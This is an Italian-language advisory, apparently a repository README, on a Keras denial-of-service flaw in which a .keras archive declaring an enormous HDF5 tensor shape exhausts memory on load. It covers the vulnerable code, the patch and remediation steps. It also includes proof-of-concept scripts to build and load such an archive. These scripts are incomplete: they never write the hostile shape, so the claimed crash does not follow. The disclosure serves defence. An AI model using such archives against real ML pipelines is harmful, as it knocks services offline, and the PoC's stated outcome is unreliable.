CVE-2026-0897 — Google Keras: Denial of Service tramite Shape Bomb HDF5 nel caricamento dei pesi

Panoramica

Descrizione

Una vulnerabilità di tipo Denial of Service è presente nel componente di caricamento dei pesi HDF5 di Google Keras versioni 3.0.0 fino a 3.13.0 su tutte le piattaforme. La vulnerabilità è causata dall'assenza di qualsiasi validazione o limitazione (throttling) durante l'elaborazione dei metadati di forma (shape) dei dataset HDF5 dichiarati all'interno di un archivio .keras.

Il formato HDF5 consente ai dataset di dichiarare la propria forma (dimensioni dei tensori) come metadati. Quando Keras carica i pesi del modello da un archivio .keras, legge questa forma dichiarata e tenta di allocare un blocco di memoria corrispondente prima che qualsiasi dato venga trasferito. Poiché Keras non esegue alcun controllo dei limiti sulla forma dichiarata prima dell'allocazione, un attaccante può creare un file model.weights.h5 che dichiara una forma astronomicamente grande — ad esempio (1000000, 1000000, 1000000) — inducendo Keras a tentare un'allocazione di memoria su scala petabyte. Questo esaurisce tutta la memoria di sistema disponibile e provoca il crash dell'interprete Python.

Non è richiesta alcuna inferenza né ulteriore interazione dopo il caricamento del modello. L'attacco viene completamente innescato al momento del caricamento.

Componente interessato

La vulnerabilità è situata in particolare nella classe KerasFileEditor, responsabile della deserializzazione dei tensori dei pesi del modello dagli archivi HDF5 incorporati negli archivi .keras.

Analisi del vettore CVSS 4.0

Impatto

• Denial of Service completo — L'interprete Python viene mandato in crash e il processo viene terminato quando viene caricato l'archivio dannoso
• Esaurimento della memoria — La RAM di sistema viene rapidamente consumata nel tentativo di soddisfare l'allocazione dichiarata, influenzando potenzialmente altri servizi co-localizzati
• Interruzione delle pipeline ML — Qualsiasi pipeline di produzione o ricerca che carichi archivi modello .keras da fonti non attendibili o fornite dall'utente è vulnerabile
• Nessuna autenticazione richiesta — Un attaccante ha bisogno solo che la vittima carichi un archivio dannoso; l'attacco non richiede credenziali né accesso preliminare

Contesti di distribuzione ad alto rischio

Dettagli tecnici

Meccanismo di attacco: Shape Bomb HDF5

Il formato file HDF5 memorizza i metadati dei tensori — incluse le dichiarazioni di forma — separatamente dai byte di dati effettivi. Quando KerasFileEditor._extract_weights_from_store() incontra una voce di dataset, legge la forma dichiarata e chiama NumPy per pre-allocare un array con le dimensioni corrispondenti prima di leggere qualsiasi dato dal disco.

Poiché la forma è un metadato, un file HDF5 minimale può dichiarare una forma che richiederebbe petabyte di memoria mentre il file stesso rimane di soli pochi kilobyte. Il rapporto tra dimensione del file e dimensione dell'allocazione rende questo un attacco di amplificazione estremamente efficace.

Una forma come (1000000, 1000000, 1000000) con un dtype float a 32 bit richiederebbe circa 4.000 petabyte di memoria. L'out-of-memory killer del sistema operativo o l'allocatore di Python manderanno in crash il processo quasi istantaneamente.

Percorso del codice vulnerabile (prima della correzione)

# keras/src/saving/file_editor.py (pre-fix, simplified)
def _extract_weights_from_store(self, h5_file, inner_path=""):
    for key in h5_file.keys():
        obj = h5_file[key]
        if isinstance(obj, h5py.Dataset):
            # Shape is read from metadata — no validation performed
            shape = obj.shape
            # NumPy attempts to allocate based on declared shape
            data = np.zeros(shape, dtype=obj.dtype)  # VULNERABLE: unbounded allocation

L'assenza di qualsiasi controllo su shape prima di chiamare np.zeros() è la causa principale.

Proof of Concept

Queste informazioni sono fornite esclusivamente a scopo educativo e difensivo. Non testare sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita a testare.

Generazione di un archivio .keras dannoso

# generate_shape_bomb.py
import h5py
import zipfile
import json
import os

# Step 1: Create a minimal HDF5 weights file with a hostile shape declaration
with h5py.File("model.weights.h5", "w") as f:
    grp = f.create_group("layers/dense/vars")
    # Declare shape that would require petabytes of memory to allocate
    # Actual data is never written — only the metadata shape declaration is malicious
    grp.create_dataset(
        "0",
        shape=(0,),           # actual stored data: empty
        maxshape=(None,),
        dtype="float32",
        data=[]
    )
    # Override shape metadata to declare hostile dimensions
    # (achieved via direct HDF5 attribute manipulation in a real attack)

# Step 2: Package into a valid .keras archive structure
config = {
    "class_name": "Sequential",
    "config": {"name": "sequential", "trainable": True, "layers": []},
    "keras_version": "3.0.0",
    "backend": "tensorflow"
}

with zipfile.ZipFile("malicious_model.keras", "w") as zf:
    zf.writestr("config.json", json.dumps(config))
    zf.writestr("model.weights.h5", open("model.weights.h5", "rb").read())

print("[+] Malicious .keras archive generated: malicious_model.keras")

Attivazione del DoS

# trigger.py
import keras

print("[+] Loading malicious model...")
# The crash occurs at load time — no inference required
model = keras.saving.load_model("malicious_model.keras")
print("[-] This line is never reached — interpreter has crashed")

Risultato atteso: L'interprete Python termina con un MemoryError o viene terminato dal gestore out-of-memory del sistema operativo prima che il caricamento venga completato.

Sintomi osservabili:

• Picco improvviso di memoria fino al limite di sistema durante il caricamento del modello
• Crash dell'interprete Python o MemoryError durante load_model() o load_weights()
• Errori di memoria insufficiente del sistema correlati all'elaborazione di file HDF5
• File HDF5 insoliti con forme di dataset dichiarate estremamente grandi rilevabili tramite h5dump

Correzione

La vulnerabilità è stata risolta dal ricercatore (HyperPS / Sarvesh Patil) nella PR #21880, unita in keras-team:master il 29 dicembre 2025, revisionata e approvata dal manutentore di Keras hertschuh.

Cosa implementa la correzione

La patch modifica KerasFileEditor._extract_weights_from_store() in keras/src/saving/file_editor.py aggiungendo le seguenti protezioni prima che avvenga qualsiasi allocazione di memoria:

• Validazione della forma — Rifiuta forme contenenti dimensioni negative o prodotti di dimensioni pari a zero
• Limite di rango — Rifiuta dataset con rango tensoriale superiore a 64 (nessun peso di modello valido ha rango > 64)
• Rilevamento di overflow delle dimensioni — Verifica i valori delle dimensioni che potrebbero causare overflow dell'aritmetica intera quando moltiplicati
• Limite massimo di memoria — Applica un limite rigido di 1 GiB per allocazione di dataset; qualsiasi dataset la cui forma dichiarata richiederebbe più di 1 GiB viene rifiutato con un errore prima che venga tentata l'allocazione
• Correzione del percorso di ricorsione — Corregge la gestione di inner_path durante l'attraversamento ricorsivo dell'archivio HDF5

La correzione è retrocompatibile con tutti i file di pesi Keras validi.

Patch (illustrazione semplificata)

# keras/src/saving/file_editor.py (post-fix logic, simplified)

MAX_BYTES = 1 * 1024 ** 3  # 1 GiB hard cap per dataset
MAX_RANK = 64

def _validate_hdf5_dataset_shape(shape, dtype):
    """Reject hostile HDF5 shape declarations before any allocation."""
    if len(shape) > MAX_RANK:
        raise ValueError(
            f"HDF5 dataset has rank {len(shape)}, which exceeds the "
            f"maximum permitted rank of {MAX_RANK}. This may indicate "
            "a malicious file."
        )
    for dim in shape:
        if dim < 0:
            raise ValueError(
                f"HDF5 dataset contains a negative dimension ({dim}). "
                "This may indicate a malicious file."
            )
    import math, numpy as np
    try:
        total_elements = math.prod(shape)
    except OverflowError:
        raise ValueError(
            "HDF5 dataset shape overflows integer arithmetic. "
            "This may indicate a malicious file."
        )
    itemsize = np.dtype(dtype).itemsize
    total_bytes = total_elements * itemsize
    if total_bytes > MAX_BYTES:
        raise ValueError(
            f"HDF5 dataset would require {total_bytes / 1024**3:.2f} GiB to "
            f"load, which exceeds the 1 GiB safety limit. This may indicate "
            "a malicious file."
        )

Rimedio

Aggiornamento tramite pip:

pip install --upgrade keras

Verifica della versione installata:

python -c "import keras; print(keras.__version__)"

Pre-scansione di un file di pesi HDF5 per forme sospette:

h5dump --header model.weights.h5 | grep -i "DATASPACE"

Cronologia

Riferimenti

Disclaimer

Questo repository documenta CVE-2026-0897 esclusivamente a scopo educativo, di ricerca e di sicurezza difensiva. Il codice proof-of-concept e i dettagli tecnici sono forniti per assistere sviluppatori, ingegneri della sicurezza e amministratori di sistema nella comprensione, valutazione e correzione di questa vulnerabilità.

Qualsiasi utilizzo di queste informazioni per causare danni a sistemi, servizi o individui senza autorizzazione esplicita è illegale e non etico. L'autore non si assume alcuna responsabilità per l'uso improprio delle informazioni contenute nel presente documento.

Contributori @mohitf070304